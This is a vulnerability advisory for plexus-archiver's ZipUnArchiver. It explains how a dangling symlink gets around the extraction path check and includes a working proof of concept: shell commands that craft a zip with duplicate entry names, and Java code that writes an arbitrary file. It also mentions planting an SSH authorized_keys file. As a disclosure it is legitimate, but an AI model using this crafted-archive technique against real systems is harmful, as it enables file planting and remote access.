Arbitrary File Creation in AbstractUnArchiver

When given an entry that already exists in dir as a symbolic link whose target does not exist - the symbolic link’s target will be created and the content of the archive’s entry will be written to it.

That’s because the way FileUtils.resolveFile() works:

public static File resolveFile( final File baseFile, String filename )
    {
        ...
        try
        {
            file = file.getCanonicalFile();
        }
        catch ( final IOException ioe )
        {
            // nop
        }


        return file;
    }

File.getCanonicalFile() (tested with the most recent version of openjdk (22.2) on Unix) will eventually call JDK_Canonicalize():

JNIEXPORT int
JDK_Canonicalize(const char *orig, char *out, int len)
{
    if (len < PATH_MAX) {
        errno = EINVAL;
        return -1;
    }

    if (strlen(orig) > PATH_MAX) {
        errno = ENAMETOOLONG;
        return -1;
    }

    /* First try realpath() on the entire path */
    if (realpath(orig, out)) {
        /* That worked, so return it */
        collapse(out);
        return 0;
    } else {
        /* Something's bogus in the original path, so remove names from the end
           until either some subpath works or we run out of names */
        ...

realpath() returns the destination path for a symlink, if this destination exists. But if it doesn’t - it will return NULL and we will reach the else’s clause, which will eventually return the path of the symlink itself. So in case the entry is already exists as a symbolic link to a non-existing file - file.getCanonicalFile() will return the absolute path of the symbolic link and this check will pass:

Path canonicalDirPath = dir.getCanonicalFile().toPath();
Path canonicalDestPath = targetFileName.getCanonicalFile().toPath();


if ( !canonicalDestPath.startsWith( canonicalDirPath ) )
{
    throw new ArchiverException( "Entry is outside of the target directory (" + entryName + ")" );
}

Later, the content of the entry will be written to the symbolic link’s destination and by doing so will create the destination file and fill it with the entry’s content.

Arbitrary file creation can lead to remote code execution. For example, if there is an SSH server on the victim’s machine and ~/.ssh/authorized_keys does not exist - creating this file and filling it with an attacker's public key will allow the attacker to connect the SSH server without knowing the victim’s password.

PoC

We created a zip as following:

$ ln -s /tmp/target entry1
$ echo -ne “content” > entry2
$ zip  --symlinks archive.zip entry1 entry2

The following command will change the name of entry2 to entry1:

$ sed -i 's/entry2/entry1/' archive.zip

We put archive.zip in /tmp and create a dir for the extracted files:

$ cp archive.zip /tmp
$ mkdir /tmp/extracted_files

Next, we wrote a java code that opens archive.zip:

package com.example;

import java.io.File;

import org.codehaus.plexus.archiver.zip.ZipUnArchiver;

public class App 
{
    public static void main( String[] args )
    {
        ZipUnArchiver unArchiver = new ZipUnArchiver(new File("/tmp/archive.zip"));
        unArchiver.setDestDirectory(new File("/tmp/extracted_files"));
        unArchiver.extract();        
    }
}

After running this java code, we can see that /tmp/target contains the string “content”:

$ cat /tmp/target
content

Notice that although we used here a duplicated entry name in the same archive, this attack can be performed also by two different archives - one that contains a symlink and another archive that contains a regular file with the same entry name as the symlink.